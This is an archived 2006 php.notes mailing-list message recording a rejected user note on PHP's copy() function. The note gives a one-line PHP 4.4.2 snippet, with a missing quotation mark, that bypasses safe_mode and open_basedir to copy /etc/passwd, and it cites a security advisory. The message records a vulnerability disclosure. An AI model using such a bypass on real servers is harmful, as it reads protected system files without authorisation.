note 68569 rejected from function.copy by bjori
| From: | bjori@php.net | Date: | Wed, 02 Aug 2006 13:12:19 +0000 |
| Subject: | note 68569 rejected from function.copy by bjori | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-115462@lists.php.net to get a copy of this message | ||
Note Submitter: denis at i39 dot ru
----
This function can be used to bypass safe mode and open_basedir restriction:
<?
copy("compress.zlib:///etc/passwd", /home/cxib/to/bandyta/passwd.txt");
?>
Tested on php 4.4.2.
More info:
http://securityreason.com/achievement_securityalert/37